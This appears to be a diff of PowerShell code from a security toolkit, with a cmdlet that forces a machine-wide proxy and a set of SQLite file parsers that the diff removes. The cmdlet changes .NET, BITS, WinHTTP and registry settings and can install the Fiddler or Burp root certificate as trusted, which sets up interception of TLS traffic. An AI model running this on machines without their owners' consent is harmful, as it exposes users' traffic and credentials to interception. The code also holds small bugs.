||||
Function Set-ProxySettings
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Sets proxy settings of the local Windows machine and trusts Fiddler root certificate.
|
||||
|
||||
.DESCRIPTION
|
||||
Sets proxy settings of the local Windows machine for:
|
||||
* .NET Framework (both 32 & 64 bit) by editing machine.config
|
||||
* LocalSystem using BITSAdmin
|
||||
* NetworkService using BITSAdmin
|
||||
* winhttp using netsh
|
||||
* Local user by modifying registry
|
||||
* Machine level by modifying registry
|
||||
* Force machine level proxy by modifying registry
|
||||
|
||||
Trusts Fiddler root certificate by importing it to Local Machine truster root certificates
|
||||
|
||||
.Parameter ProxyAddress
|
||||
Proxy address with port number.
|
||||
|
||||
.Parameter TrustFiddler
|
||||
Trust Fiddler root certificate
|
||||
|
||||
.EXAMPLE
|
||||
PS\:>Set-AADIntProxySettings -ProxyAddress 10.0.0.10:8080
|
||||
|
||||
Setting proxies for x86 & x64 .NET Frameworks:
|
||||
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config
|
||||
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\machine.config
|
||||
Setting proxy for LocalSystem:
|
||||
|
||||
BITSADMIN version 3.0
|
||||
BITS administration utility.
|
||||
(C) Copyright Microsoft Corp.
|
||||
|
||||
Internet proxy settings for account LocalSystem were set.
|
||||
(connection = default)
|
||||
|
||||
Proxy usage set to Manual_proxy
|
||||
Proxy list set to http://10.0.0.1:8080
|
||||
Proxy bypass list set to <empty>
|
||||
Setting proxy for NetworkService:
|
||||
|
||||
BITSADMIN version 3.0
|
||||
BITS administration utility.
|
||||
(C) Copyright Microsoft Corp.
|
||||
|
||||
Internet proxy settings for account NetworkService were set.
|
||||
(connection = default)
|
||||
|
||||
Proxy usage set to Manual_proxy
|
||||
Proxy list set to http://10.0.0.1:8080
|
||||
Proxy bypass list set to <empty>
|
||||
Setting winhttp proxy:
|
||||
|
||||
Current WinHTTP proxy settings:
|
||||
|
||||
Proxy Server(s) : 10.0.0.1:8080
|
||||
Bypass List : (none)
|
||||
|
||||
Setting the proxy of local user Internet Settings:
|
||||
VERBOSE: Performing the operation "Set Property" on target "Item: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\C
|
||||
urrentVersion\Internet Settings\Connections Property: DefaultConnectionSettings".
|
||||
VERBOSE: Performing the operation "Set Property" on target "Item: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\C
|
||||
urrentVersion\Internet Settings\Connections Property: SavedLegacySettings".
|
||||
Setting the proxy of machine Internet Settings:
|
||||
VERBOSE: Performing the operation "Set Property" on target "Item: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\
|
||||
CurrentVersion\Internet Settings\Connections Property: DefaultConnectionSettings".
|
||||
VERBOSE: Performing the operation "Set Property" on target "Item: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\
|
||||
CurrentVersion\Internet Settings\Connections Property: SavedLegacySettings".
|
||||
Setting machine level procy policy for Internet Settings:
|
||||
VERBOSE: Performing the operation "Set Property" on target "Item: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft
|
||||
\Windows\CurrentVersion\Internet Settings Property: ProxySettingsPerUser".
|
||||
|
||||
.EXAMPLE
|
||||
PS\:>Set-AADIntProxySettings -ProxyAddress 10.0.0.10:8080 -TrustFiddler
|
||||
|
||||
Setting proxies for x86 & x64 .NET Frameworks:
|
||||
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config
|
||||
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\machine.config
|
||||
Setting proxy for LocalSystem:
|
||||
|
||||
BITSADMIN version 3.0
|
||||
BITS administration utility.
|
||||
(C) Copyright Microsoft Corp.
|
||||
|
||||
Internet proxy settings for account LocalSystem were set.
|
||||
(connection = default)
|
||||
|
||||
Proxy usage set to Manual_proxy
|
||||
Proxy list set to http://10.0.0.1:8080
|
||||
Proxy bypass list set to <empty>
|
||||
Setting proxy for NetworkService:
|
||||
|
||||
BITSADMIN version 3.0
|
||||
BITS administration utility.
|
||||
(C) Copyright Microsoft Corp.
|
||||
|
||||
Internet proxy settings for account NetworkService were set.
|
||||
(connection = default)
|
||||
|
||||
Proxy usage set to Manual_proxy
|
||||
Proxy list set to http://10.0.0.1:8080
|
||||
Proxy bypass list set to <empty>
|
||||
Setting winhttp proxy:
|
||||
|
||||
Current WinHTTP proxy settings:
|
||||
|
||||
Proxy Server(s) : 10.0.0.1:8080
|
||||
Bypass List : (none)
|
||||
|
||||
Setting the proxy of local user Internet Settings:
|
||||
VERBOSE: Performing the operation "Set Property" on target "Item: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\C
|
||||
urrentVersion\Internet Settings\Connections Property: DefaultConnectionSettings".
|
||||
VERBOSE: Performing the operation "Set Property" on target "Item: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\C
|
||||
urrentVersion\Internet Settings\Connections Property: SavedLegacySettings".
|
||||
Setting the proxy of machine Internet Settings:
|
||||
VERBOSE: Performing the operation "Set Property" on target "Item: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\
|
||||
CurrentVersion\Internet Settings\Connections Property: DefaultConnectionSettings".
|
||||
VERBOSE: Performing the operation "Set Property" on target "Item: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\
|
||||
CurrentVersion\Internet Settings\Connections Property: SavedLegacySettings".
|
||||
Setting machine level procy policy for Internet Settings:
|
||||
VERBOSE: Performing the operation "Set Property" on target "Item: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft
|
||||
\Windows\CurrentVersion\Internet Settings Property: ProxySettingsPerUser".
|
||||
Trusting Fiddler root certificate:
|
||||
|
||||
|
||||
PSParentPath: Microsoft.PowerShell.Security\Certificate::LocalMachine\Root
|
||||
|
||||
Thumbprint Subject
|
||||
---------- -------
|
||||
33D6FCEE2850DC53EEED517F3E8E72EB944BD467 CN=DO_NOT_TRUST_FiddlerRoot, O=DO_NOT_TRUST, OU=Created by http://...
|
||||
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
param(
|
||||
[parameter(Mandatory=$true,ValueFromPipeline)]
|
||||
[String]$ProxyAddress,
|
||||
[Switch]$TrustFiddler,
|
||||
[Switch]$TrustBurp
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Split the proxy address
|
||||
$proxyHost = $ProxyAddress.Split(":")[0]
|
||||
$proxyPort = $ProxyAddress.Split(":")[1]
|
||||
|
||||
# Set .NET proxy in a quick-and-dirty way by just adding at the end
|
||||
$configXml = @"
|
||||
<!-- Added by AADInternals $((Get-Date).ToUniversalTime().ToString("s", [cultureinfo]::InvariantCulture)+"Z")-->
|
||||
<system.net>
|
||||
<defaultProxy enabled = "true" useDefaultCredentials = "true">
|
||||
<proxy autoDetect="false" bypassonlocal="true" proxyaddress="http://$($ProxyAddress)" usesystemdefault="false" />
|
||||
</defaultProxy>
|
||||
</system.net>
|
||||
</configuration>
|
||||
"@
|
||||
Write-Host "Setting proxies for x32 & x64 .NET Frameworks:" -ForegroundColor Yellow
|
||||
$dotNetConfigs = "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config","C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\machine.config"
|
||||
foreach($dotNetConfig in $dotNetConfigs)
|
||||
{
|
||||
$content = Get-Content $dotNetConfig -Encoding UTF8
|
||||
|
||||
[xml]$xmlContent = $content
|
||||
if($xmlContent.configuration.'system.net'.defaultProxy)
|
||||
{
|
||||
Write-Warning ".NET proxy settings already set, skipping $dotNetConfig"
|
||||
}
|
||||
else
|
||||
{
|
||||
$lines = $content.Length
|
||||
for($a = $lines ; $a-- ; $a -ge 0)
|
||||
{
|
||||
if($content[$a] -like "*</configuration>*")
|
||||
{
|
||||
$content[$a] = $configXml
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
Write-Host " $dotNetConfig" -ForegroundColor Yellow
|
||||
|
||||
$content | Set-Content $dotNetConfig -Encoding UTF8
|
||||
}
|
||||
}
|
||||
|
||||
# Add proxy for the LocalSystem and NetworkService using bitsadmin
|
||||
Write-Host "Setting proxy for LocalSystem:" -ForegroundColor Yellow
|
||||
& 'bitsadmin' '/Util' '/SetIEProxy' 'LocalSystem' 'Manual_proxy' "http://$ProxyAddress" '""'
|
||||
|
||||
Write-Host "Setting proxy for NetworkService:" -ForegroundColor Yellow
|
||||
& 'bitsadmin' '/Util' '/SetIEProxy' 'NetworkService' 'Manual_proxy' "http://$ProxyAddress" '""'
|
||||
|
||||
# Set winhttp proxy
|
||||
Write-Host "Setting winhttp proxy:" -ForegroundColor Yellow
|
||||
& 'netsh' 'winhttp' 'set' 'proxy' "$ProxyAddress"
|
||||
|
||||
#
|
||||
# Set proxy for Internet Settings
|
||||
#
|
||||
|
||||
# Generate the settigns blob
|
||||
[byte[]]$settingsBlob = New-DefaultConnectionSettings -ProxyAddress $ProxyAddress
|
||||
|
||||
# Set Current User settings
|
||||
Write-Host "Setting the proxy of local user Internet Settings:" -ForegroundColor Yellow
|
||||
Set-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections" -Name "DefaultConnectionSettings" -Value $settingsBlob -Force -Verbose
|
||||
Set-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections" -Name "SavedLegacySettings" -Value $settingsBlob -Force -Verbose
|
||||
|
||||
# Set Machine settings
|
||||
Write-Host "Setting the proxy of machine Internet Settings:" -ForegroundColor Yellow
|
||||
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections" -Name "DefaultConnectionSettings" -Value $settingsBlob -Force -Verbose
|
||||
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections" -Name "SavedLegacySettings" -Value $settingsBlob -Force -Verbose
|
||||
|
||||
# Set proxy policy on machine level
|
||||
Write-Host "Setting machine level procy policy for Internet Settings:" -ForegroundColor Yellow
|
||||
New-Item -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings" -Force -Verbose
|
||||
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings" -Name "ProxySettingsPerUser" -Value 0 -Force -Verbose
|
||||
|
||||
# Trust the Fiddler
|
||||
if($TrustFiddler)
|
||||
{
|
||||
Write-Host "Trusting Fiddler root certificate:" -ForegroundColor Yellow
|
||||
$tmpFile = New-TemporaryFile
|
||||
Invoke-RestMethod -Uri "http://ipv4.fiddler:$proxyPort/FiddlerRoot.cer" -Proxy "http://$ProxyAddress" -OutFile $tmpFile
|
||||
Import-Certificate -FilePath $tmpFile -CertStoreLocation "Cert:\LocalMachine\Root"
|
||||
Remove-Item $tmpFile -Force
|
||||
}
|
||||
|
||||
# Trust Burp Suite
|
||||
if($TrustBurp)
|
||||
{
|
||||
Write-Host "Trusting Burp root certificate:" -ForegroundColor Yellow
|
||||
$tmpFile = New-TemporaryFile
|
||||
Invoke-RestMethod -Uri "http://$ProxyAddress/cert" -OutFile $tmpFile
|
||||
Import-Certificate -FilePath $tmpFile -CertStoreLocation "Cert:\LocalMachine\Root"
|
||||
Remove-Item $tmpFile -Force
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
# Generates a DefaultConnectionSettings blob
|
||||
# Jan 20th 2022
|
||||
Function New-DefaultConnectionSettings
|
||||
{
|
||||
[cmdletbinding()]
|
||||
param(
|
||||
[parameter(Mandatory=$true,ValueFromPipeline)]
|
||||
[String]$ProxyAddress
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Ref: http://atyoung.blogspot.com/2012/06/info-regarding-hkeycurrentusersoftwarem.html
|
||||
|
||||
$proxyLen = $ProxyAddress.length
|
||||
$blob = new-object byte[] (56 + $proxyLen)
|
||||
$p = 0
|
||||
|
||||
[Array]::Copy([bitconverter]::GetBytes([UInt32] 0x46 ) , 0, $blob, $p, 4); $p += 4 # Identifier 0x46 or 0x3C
|
||||
[Array]::Copy([bitconverter]::GetBytes([UInt32] 0x00 ) , 0, $blob, $p, 4); $p += 4 # Counter
|
||||
[Array]::Copy([bitconverter]::GetBytes([UInt32] 0x03 ) , 0, $blob, $p, 4); $p += 4 # Use a proxy server for your lan
|
||||
# 09 when only 'Automatically detect settings' is enabled
|
||||
# 03 when only 'Use a proxy server for your LAN' is enabled
|
||||
# 0B when both are enabled
|
||||
# 05 when only 'Use automatic configuration script' is enabled
|
||||
# 0D when 'Automatically detect settings' and 'Use automatic configuration script' are enabled
|
||||
# 07 when 'Use a proxy server for your LAN' and 'Use automatic configuration script' are enabled
|
||||
# 0F when all the three are enabled.
|
||||
# 01 when none of them are enabled.
|
||||
[Array]::Copy([bitconverter]::GetBytes([UInt32] $proxyLen ) , 0, $blob, $p, 4); $p += 4 # Proxy address length
|
||||
[Array]::Copy([Text.Encoding]::ASCII.GetBytes($ProxyAddress) , 0, $blob, $p, $proxyLen); $p += $proxyLen # Proxy address
|
||||
|
||||
#[Array]::Copy([bitconverter]::GetBytes([UInt32] 0x00 ) , 0, $blob, $p, 4); $p += 4 # Additional info length
|
||||
#[Array]::Copy([bitconverter]::GetBytes([UInt32] 0x00 ) , 0, $blob, $p, 4); $p += 4 # Automatic script address length
|
||||
# Rest is just 32 bytes of 0x00
|
||||
|
||||
return $blob
|
||||
-464
@@ -1,464 +0,0 @@
|
||||
# Parses SQLite varint V3
|
||||
# Sep 27th 2022
|
||||
function Parse-SQLiteVarIntV3
|
||||
{
|
||||
[CmdletBinding()]
|
||||
param(
|
||||
[Parameter(Mandatory=$true)]
|
||||
[byte[]]$Data,
|
||||
[Parameter(Mandatory=$true)]
|
||||
[ref]$Position
|
||||
)
|
||||
|
||||
Process
|
||||
{
|
||||
return Decode-MultiByteInteger -Data $Data -Position $Position -Reverse
|
||||
}
|
||||
}
|
||||
|
||||
# Parses SQLite database B-Tree cell payload
|
||||
# Sep 27th 2022
|
||||
function Parse-SQLiteBTreeCellPayload
|
||||
{
|
||||
[CmdletBinding()]
|
||||
param(
|
||||
[Parameter(Mandatory=$true)]
|
||||
[byte[]]$Data,
|
||||
[Parameter(Mandatory=$false)]
|
||||
[int]$MaxColumns=20
|
||||
)
|
||||
|
||||
Process
|
||||
{
|
||||
# Ref. https://www.sqlite.org/fileformat.html
|
||||
|
||||
# Parse the header
|
||||
$headerSize = $Data[0]
|
||||
|
||||
# Parse the columns
|
||||
$pCol = $headerSize
|
||||
$nCol = 0
|
||||
$columns = @()
|
||||
|
||||
for($p = 1 ; ($p -lt $headerSize);)
|
||||
{
|
||||
$serialType = Parse-SQLiteVarIntV3 -Data $Data -Position ([ref]$p)
|
||||
switch($serialType)
|
||||
{
|
||||
# null
|
||||
0 {
|
||||
$value = $null
|
||||
break
|
||||
}
|
||||
|
||||
# Integer
|
||||
1 {
|
||||
$value = [int] $Data[$pCol]; $pCol++
|
||||
break
|
||||
}
|
||||
|
||||
# Integer
|
||||
{$_ -gt 2 -and $_ -lt 8} {
|
||||
switch($_)
|
||||
{
|
||||
{$_ -lt 5} {$nBytes = $_; break}
|
||||
{$_ -eq 5} {$nBytes = 6; break}
|
||||
default {$nBytes = 8; break}
|
||||
|
||||
}
|
||||
$bytes = New-Object Byte[] 8
|
||||
[Array]::Copy($Data,$pCol,$bytes,8-$nBytes,$nBytes)
|
||||
[Array]::Reverse($bytes)
|
||||
|
||||
$value = [bitconverter]::ToInt64($bytes,0); $pCol += $nBytes
|
||||
break
|
||||
}
|
||||
# Integer 0
|
||||
8 {
|
||||
$value = [int64] 0
|
||||
break
|
||||
}
|
||||
# Integer 1
|
||||
9 {
|
||||
$value = [int64] 1
|
||||
break
|
||||
}
|
||||
# Blob
|
||||
{$_ -ge 12 -and $_ % 2 -eq 0}
|
||||
{
|
||||
$bLen = ($_ - 12) / 2
|
||||
$value = $Data[$pCol..$($pCol + $bLen -1)]; $pCol += $bLen
|
||||
break
|
||||
}
|
||||
# String - we'll assume UTF-8 encoding
|
||||
{$_ -ge 13 -and $_ % 2 -ne 0}
|
||||
{
|
||||
$bLen = ($_ - 13) / 2
|
||||
$value = [System.Text.Encoding]::UTF8.GetString($Data[$pCol..$($pCol + $bLen -1)]); $pCol += $bLen
|
||||
break
|
||||
}
|
||||
}
|
||||
$columns+= $value
|
||||
}
|
||||
|
||||
return $columns
|
||||
}
|
||||
}
|
||||
|
||||
# Parses SQLite database B-Tree cell
|
||||
# Sep 27th 2022
|
||||
function Parse-SQLiteBTreeCell
|
||||
{
|
||||
[CmdletBinding()]
|
||||
param(
|
||||
[Parameter(Mandatory=$true)]
|
||||
[byte[]]$Data,
|
||||
[Parameter(Mandatory=$true)]
|
||||
[int]$Position,
|
||||
[Parameter(Mandatory=$true)]
|
||||
[int]$PageType,
|
||||
[Parameter(Mandatory=$true)]
|
||||
[int]$PageSize
|
||||
)
|
||||
|
||||
Process
|
||||
{
|
||||
# Ref. https://www.sqlite.org/fileformat.html
|
||||
|
||||
$p = $Position
|
||||
|
||||
# Overflow calcuation variables
|
||||
$u = $PageSize # We assume no reserverd space
|
||||
$m = (($u-12)*32/255)-23 # Always the same
|
||||
|
||||
switch($PageType)
|
||||
{
|
||||
0x0d #B-Tree Leaf Cell
|
||||
{
|
||||
$leftChild = $null
|
||||
$payLoadBytes = Parse-SQLiteVarIntV3 -Data $Data -Position ([ref]$p)
|
||||
$rowId = Parse-SQLiteVarIntV3 -Data $Data -Position ([ref]$p)
|
||||
$payLoad = $Data[$p..$($p + $payloadBytes - 1)] ;$p += $payLoadBytes
|
||||
|
||||
$x = $u-35
|
||||
$p = $payLoadBytes
|
||||
$k = $m+(($p-$m)%($u-4))
|
||||
|
||||
if($p>$x)
|
||||
{
|
||||
# The first K bytes of P are stored on the btree page and the remaining P-K bytes are stored on overflow pages.
|
||||
if($k -le $x)
|
||||
{
|
||||
$payLoad = $payLoad[0..$k-1]
|
||||
$p -= $payLoadBytes + $k
|
||||
}
|
||||
# The first M bytes of P are stored on the btree page and the remaining P-M bytes are stored on overflow pages
|
||||
else
|
||||
{
|
||||
$payLoad = $payLoad[0..$m-1]
|
||||
$p -= $payLoadBytes + $m
|
||||
}
|
||||
$firstOverflowPage = [System.BitConverter]::ToInt32($Data[($p+4-1)..$p],0); $p += 4
|
||||
}
|
||||
|
||||
break
|
||||
}
|
||||
0x05 #B-Tree Interior Cell
|
||||
{
|
||||
$leftChild = [System.BitConverter]::ToInt32($Data[($p+4-1)..$p],0); $p += 4
|
||||
$payLoadBytes = $null
|
||||
$rowId = Parse-SQLiteVarIntV3 -Data $Data -Position ([ref]$p)
|
||||
$payLoad = $null
|
||||
$firstOverflowPage = $null
|
||||
break
|
||||
}
|
||||
0x0a #B-Tree Leaf Cell
|
||||
{
|
||||
$leftChild = $null
|
||||
$payLoadBytes = Parse-SQLiteVarIntV3 -Data $Data -Position ([ref]$p)
|
||||
$rowId = $null
|
||||
$payLoad = $Data[$p..$($p + $payloadBytes - 1)] ;$p += $payLoadBytes
|
||||
|
||||
$x = (($u-12)*64/255)-23
|
||||
$p = $payLoadBytes
|
||||
$k = $m+(($p-$m)%($u-4))
|
||||
|
||||
if($p>$x)
|
||||
{
|
||||
# The first K bytes of P are stored on the btree page and the remaining P-K bytes are stored on overflow pages.
|
||||
if($k -le $x)
|
||||
{
|
||||
$payLoad = $payLoad[0..$k-1]
|
||||
$p -= $payLoadBytes + $k
|
||||
}
|
||||
# The first M bytes of P are stored on the btree page and the remaining P-M bytes are stored on overflow pages
|
||||
else
|
||||
{
|
||||
$payLoad = $payLoad[0..$m-1]
|
||||
$p -= $payLoadBytes + $m
|
||||
}
|
||||
$firstOverflowPage = [System.BitConverter]::ToInt32($Data[($p+4-1)..$p],0); $p += 4
|
||||
}
|
||||
|
||||
break
|
||||
}
|
||||
0x02 #B-Tree Interior Cell
|
||||
{
|
||||
$leftChild = [System.BitConverter]::ToInt32($Data[($p+4-1)..$p],0); $p += 4
|
||||
$payLoadBytes = Parse-SQLiteVarIntV3 -Data $Data -Position ([ref]$p)
|
||||
$rowId = $null
|
||||
$payLoad = $Data[$p..$($p + $payloadBytes - 1)] ;$p += $payLoadBytes
|
||||
|
||||
$x = (($u-12)*64/255)-23
|
||||
$p = $payLoadBytes
|
||||
$k = $m+(($p-$m)%($u-4))
|
||||
|
||||
if($p>$x)
|
||||
{
|
||||
# The first K bytes of P are stored on the btree page and the remaining P-K bytes are stored on overflow pages.
|
||||
if($k -le $x)
|
||||
{
|
||||
$payLoad = $payLoad[0..$k-1]
|
||||
$p -= $payLoadBytes + $k
|
||||
}
|
||||
# The first M bytes of P are stored on the btree page and the remaining P-M bytes are stored on overflow pages
|
||||
else
|
||||
{
|
||||
$payLoad = $payLoad[0..$m-1]
|
||||
$p -= $payLoadBytes + $m
|
||||
}
|
||||
$firstOverflowPage = [System.BitConverter]::ToInt32($Data[($p+4-1)..$p],0); $p += 4
|
||||
}
|
||||
|
||||
break
|
||||
}
|
||||
}
|
||||
if($payLoad)
|
||||
{
|
||||
$columns = Parse-SQLiteBTreeCellPayload -Data $payLoad
|
||||
}
|
||||
$attributes = [ordered]@{
|
||||
"LeftChildPageNumber" = $leftChild
|
||||
"PayloadBytes" = $payLoadBytes
|
||||
"Payload" = $columns
|
||||
"FirstOverFlowPageNumber" = $firstOverflowPage
|
||||
}
|
||||
|
||||
return New-Object -TypeName psobject -Property $attributes
|
||||
}
|
||||
}
|
||||
|
||||
# Parses SQLite database file
|
||||
# Sep 27th 2022
|
||||
function Parse-SQLiteDatabase
|
||||
{
|
||||
[CmdletBinding()]
|
||||
param(
|
||||
[Parameter(Mandatory=$true)]
|
||||
[byte[]]$Data
|
||||
)
|
||||
|
||||
Process
|
||||
{
|
||||
|
||||
# Parse SQLite db file header
|
||||
$p = 0;
|
||||
$header = Parse-SQLiteHeader -Data $Data -Position ([ref]$p)
|
||||
|
||||
# Parse pages
|
||||
$pages = New-Object psobject[] $header.Pages
|
||||
$nPages = 0
|
||||
while($p -lt $Data.Count)
|
||||
{
|
||||
$pages[$nPages] = Parse-SQLiteBTreePage -Data $Data -Position ([ref]$p) -PageSize $header.PageSize
|
||||
$nPages++
|
||||
|
||||
# Next page starts from header size + n*PageSize
|
||||
$p = $nPages * $header.PageSize
|
||||
}
|
||||
|
||||
$attributes = [ordered]@{
|
||||
"Header" = $header
|
||||
"Pages" = $pages
|
||||
}
|
||||
|
||||
return New-Object -TypeName psobject -Property $attributes
|
||||
}
|
||||
}
|
||||
|
||||
# Parses SQLite database file B-Tree page
|
||||
# Sep 27th 2022
|
||||
function Parse-SQLiteBTreePage
|
||||
{
|
||||
[CmdletBinding()]
|
||||
param(
|
||||
[Parameter(Mandatory=$true)]
|
||||
[byte[]]$Data,
|
||||
[Parameter(Mandatory=$true)]
|
||||
[ref]$Position,
|
||||
[Parameter(Mandatory=$true)]
|
||||
[int]$PageSize
|
||||
)
|
||||
|
||||
Process
|
||||
{
|
||||
# Ref. https://www.sqlite.org/fileformat.html
|
||||
|
||||
$p = $Position.Value
|
||||
|
||||
# Calculate the page start
|
||||
if($p -lt $PageSize)
|
||||
{
|
||||
$pageStart = 0
|
||||
}
|
||||
else
|
||||
{
|
||||
$pageStart = $p
|
||||
}
|
||||
|
||||
$pageType = [int]$Data[$p]; $p += 1
|
||||
# A value of 2 (0x02) means the page is an interior index b-tree page.
|
||||
# A value of 5 (0x05) means the page is an interior table b-tree page.
|
||||
# A value of 10 (0x0a) means the page is a leaf index b-tree page.
|
||||
# A value of 13 (0x0d) means the page is a leaf table b-tree page.
|
||||
|
||||
$freeBlockStart = [System.BitConverter]::ToInt16($Data[($p+2-1)..$p],0); $p += 2
|
||||
$cellsOnPage = [System.BitConverter]::ToInt16($Data[($p+2-1)..$p],0); $p += 2
|
||||
$cellContentStart = [System.BitConverter]::ToInt16($Data[($p+2-1)..$p],0); $p += 2
|
||||
if($cellContentStart -eq 0) # A zero value for this integer is interpreted as 65536.
|
||||
{
|
||||
$cellContentStart = 65536
|
||||
}
|
||||
$fragmentedFreeBytes = [int]$Data[$p]; $p += 1
|
||||
if($pageType -eq 0x02)
|
||||
{
|
||||
$pageNumber = [System.BitConverter]::ToInt32($Data[($p+4-1)..$p],0); $p += 4
|
||||
}
|
||||
|
||||
$cells = New-Object psobject[] $cellsOnPage
|
||||
for($c = 0 ; $c -lt $cellsOnPage; $c++)
|
||||
{
|
||||
$cellOffset = [System.BitConverter]::ToInt16($Data[($p+2-1)..$p],0); $p += 2
|
||||
$cellStart = $pageStart + $cellOffset
|
||||
$cells[$c] = Parse-SQLiteBTreeCell -Data $Data -Position $cellStart -PageType $pageType -PageSize $PageSize
|
||||
}
|
||||
|
||||
$Position.Value = $p
|
||||
|
||||
switch($pageType)
|
||||
{
|
||||
0x0d {$strPageType = "Table Leaf" ; break}
|
||||
0x05 {$strPageType = "Table Interior"; break}
|
||||
0x0a {$strPageType = "Index Leaf" ; break}
|
||||
0x02 {$strPageType = "Index Interior"; break}
|
||||
}
|
||||
|
||||
$attributes = [ordered]@{
|
||||
"PageType" = $strPageType
|
||||
"PageNumber" = $pageNumber
|
||||
"CellsOnPage" = $cellsOnPage
|
||||
"ContentStart" = $cellContentStart
|
||||
"Cells" = $cells
|
||||
}
|
||||
|
||||
return New-Object -TypeName psobject -Property $attributes
|
||||
}
|
||||
}
|
||||
|
||||
# Parses SQLite database file header
|
||||
# Sep 27th 2022
|
||||
function Parse-SQLiteHeader
|
||||
{
|
||||
[CmdletBinding()]
|
||||
param(
|
||||
[Parameter(Mandatory=$true)]
|
||||
[byte[]]$Data,
|
||||
[Parameter(Mandatory=$true)]
|
||||
[ref]$Position
|
||||
)
|
||||
|
||||
Begin
|
||||
{
|
||||
$encodings = @(
|
||||
"UTF-8"
|
||||
"UTF-16le"
|
||||
"UTF-16be"
|
||||
)
|
||||
}
|
||||
Process
|
||||
{
|
||||
# Ref. https://www.sqlite.org/fileformat.html
|
||||
|
||||
$p = $Position.Value
|
||||
|
||||
$headerString = [text.encoding]::UTF8.GetString($Data[$p..($p+16-1)]); $p += 16
|
||||
$dbPageSize = [System.BitConverter]::ToInt16($Data[($p+2-1)..$p],0); $p += 2
|
||||
if($dbPageSize -eq 1) # The database page size in bytes. Must be a power of two between 512 and 32768 inclusive, or the value 1 representing a page size of 65536.
|
||||
{
|
||||
$dbPageSize = 65536
|
||||
}
|
||||
|
||||
$fileWriteVersion = [int]$Data[$p]; $p += 1
|
||||
$fileReadVersion = [int]$Data[$p]; $p += 1
|
||||
$reservedSpaceBytes = [int]$Data[$p]; $p += 1
|
||||
|
||||
$maxEmbeddedPayloadFraction = [int]$Data[$p]; $p += 1
|
||||
$minEmbeddedPayloadFraction = [int]$Data[$p]; $p += 1
|
||||
$leafPayloadFraction = [int]$Data[$p]; $p += 1
|
||||
|
||||
$fileChangeCounter = [System.BitConverter]::ToInt32($Data[($p+4-1)..$p],0); $p += 4
|
||||
$dbSizePages = [System.BitConverter]::ToInt32($Data[($p+4-1)..$p],0); $p += 4
|
||||
$firstFreelistTrunkPage = [System.BitConverter]::ToInt32($Data[($p+4-1)..$p],0); $p += 4
|
||||
$freelistPages = [System.BitConverter]::ToInt32($Data[($p+4-1)..$p],0); $p += 4
|
||||
|
||||
$schemaCookie = [System.BitConverter]::ToInt32($Data[($p+4-1)..$p],0); $p += 4
|
||||
$schemaFormatNumber = [System.BitConverter]::ToInt32($Data[($p+4-1)..$p],0); $p += 4
|
||||
# A value of 1 means UTF-8. A value of 2 means UTF-16le. A value of 3 means UTF-16be.
|
||||
|
||||
$defaultPageCacheSize = [System.BitConverter]::ToInt32($Data[($p+4-1)..$p],0); $p += 4
|
||||
$largestRootBTreePage = [System.BitConverter]::ToInt32($Data[($p+4-1)..$p],0); $p += 4
|
||||
|
||||
$dbTextEncoding = [System.BitConverter]::ToInt32($Data[($p+4-1)..$p],0); $p += 4
|
||||
$userVersion = [System.BitConverter]::ToInt32($Data[($p+4-1)..$p],0); $p += 4
|
||||
$incrementalVacuumMode = [System.BitConverter]::ToInt32($Data[($p+4-1)..$p],0) -ne 0; $p += 4
|
||||
$applicationId = [System.BitConverter]::ToInt32($Data[($p+4-1)..$p],0); $p += 4
|
||||
|
||||
$reserved = $Data[$p..($p+20-1)]; $p += 20
|
||||
|
||||
$versionValidForNumber = [System.BitConverter]::ToInt32($Data[($p+4-1)..$p],0); $p += 4
|
||||
$versionNumber = [System.BitConverter]::ToInt32($Data[($p+4-1)..$p],0); $p += 4
|
||||
|
||||
# Check variables
|
||||
if($maxEmbeddedPayloadFraction -ne 64)
|
||||
{
|
||||
Write-Warning "Maximum embedded payload fraction is $maxEmbeddedPayloadFraction, it MUST be 64"
|
||||
}
|
||||
|
||||
if($minEmbeddedPayloadFraction -ne 32)
|
||||
{
|
||||
Write-Warning "Minimum embedded payload fraction is $minEmbeddedPayloadFraction, it MUST be 32"
|
||||
}
|
||||
|
||||
if($schemaFormatNumber -ne 4)
|
||||
{
|
||||
Write-Warning "Schema version $schemaFormatNumber not supported, expected version 4"
|
||||
}
|
||||
|
||||
$Position.Value = $p
|
||||
|
||||
$attributes = [ordered]@{
|
||||
"PageSize" = $dbPageSize
|
||||
"Pages" = $dbSizePages
|
||||
"Encoding" = $encodings[$dbTextEncoding-1]
|
||||
"ChangeCounter" = $fileChangeCounter
|
||||
"FirstFreelistPage" = $freelistPages
|
||||
"FreelistPages" = $freelistPages
|
||||
"SchemaFormat" = $schemaFormatNumber
|
||||
"SchemaCookie" = $schemaCookie
|
||||
"SQLiteVersion" = $versionNumber
|
||||
